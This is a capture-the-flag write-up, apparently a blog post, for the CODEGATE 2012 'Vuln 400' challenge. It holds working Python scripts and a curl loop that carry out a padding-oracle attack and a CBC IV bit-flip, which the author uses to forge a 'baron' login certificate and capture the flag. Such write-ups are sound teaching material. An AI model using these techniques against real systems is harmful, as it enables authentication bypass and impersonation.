26
Feb
2012

CODEGATE 2012 – Vuln 400

We were presented with a web-page containing a number of functions. After clicking around for a bit it was clear the goal is to login to the board as ‘Baron zzingzzing’.

The access to the board is protected using a ‘certificate’. The site offers the possibility to obtain a certificate for ‘citizen’ but will only allow access to the board as baron, king or queen.

We observed the contents of the certificate for citizen are different each time, for example:
hJbeSUwgYL0=ZqOwJTzVkRc=

The certificate consists of two base64 encoded 8 byte values.

While playing with these values we get three types of errors:

  • Invalid IV
  • Invalid Padding
  • Invalid Class

Therefore we assume that the certificate contains of the class (citizen, baron, queen, etc) encrypted under CBC mode with an IV.

This allows for two interesting attacks:

  1. By flipping bits in IV we can flip bits in the clear-text. This is always possible with a cipher in CBC mode.
  2. We can use padding oracle to disclose the plaintext of the certificate. This is possible since the error distinguishes invalid padding from invalid content.

First attempt was to use attack 1 directly to change the value of the certificate from citizen to baron. However this yielded incorrect results. Therefore we assume that the clear-text in the certificate is not ‘citizen’. Perhaps it is XOR encrypted, scrambled or something else?

We mount a padding oracle attack to see what the clear text is. Assuming the length of the clear text is 7 (since length of citizen is 7). Assuming PKCS7 padding since this is the most common. This small python script will generate guesses for the last character of the certificate:

import base64,os,string
iv = base64.decodestring('hJbeSUwgYL0=')
cipher = 'ZqOwJTzVkRc='

for t in string.lowercase:
        new_iv = iv[:6]
        new_iv += chr(ord(t) ^ 2 ^ ord(iv[6])) # Flip second to last byte from guess to 0x02
        new_iv += chr(1 ^ 2 ^ ord(iv[7])) # Flip last byte from 0x01 to 0x02
        c = base64.encodestring(new_iv).strip() + cipher
        f = open('guess-%s.ctf' %t,'w')
        f.write(c)

Running this for all guesses of the last char of the plaintext:

for x in guess*.ctf; do echo -n $x; (curl -F certificate=@$x -F submit=enter http://1.237.174.123:8938/hagnia/?p=enter 2>/dev/null| tail -1); echo ''; done
guess-a.ctf alert("LOG: PADDING ERROR");window.location.href='./index.php';
guess-b.ctf alert("LOG: PADDING ERROR");window.location.href='./index.php';
guess-c.ctf alert("LOG: CLASS ERROR");window.location.href='./index.php';
... snip ...

So the last character of the plain text is ‘c’ because if we guess c the padding is correct. We can use the same technique to obtain the other characters if needed but by knowing class = citizen and last character of the plaintext we can make a guess that plaintext=reverse(class).

So we guess the plaintext is nezitic\x01 and we want to obtain norab\x03\x03\0x3. We need to update IV so it flips bits from the first to the second.

import base64
now = 'nezitic\x01'
want ='norab\x03\x03\x03'
iv = base64.decodestring('hJbeSUwgYL0=')
cipher = 'ZqOwJTzVkRc='
o = ''.join([chr(ord(now[x]) ^ ord(want[x]) ^ ord(iv[x])) for x in range(8)])
print base64.encodestring(o).strip() + cipher

Yields hJzWQVpKAL8=ZqOwJTzVkRc= as certificate.

After using that certificate we are logged in as baron and can obtain the flag:
MYL0_V3_SCARLET

Comments are closed.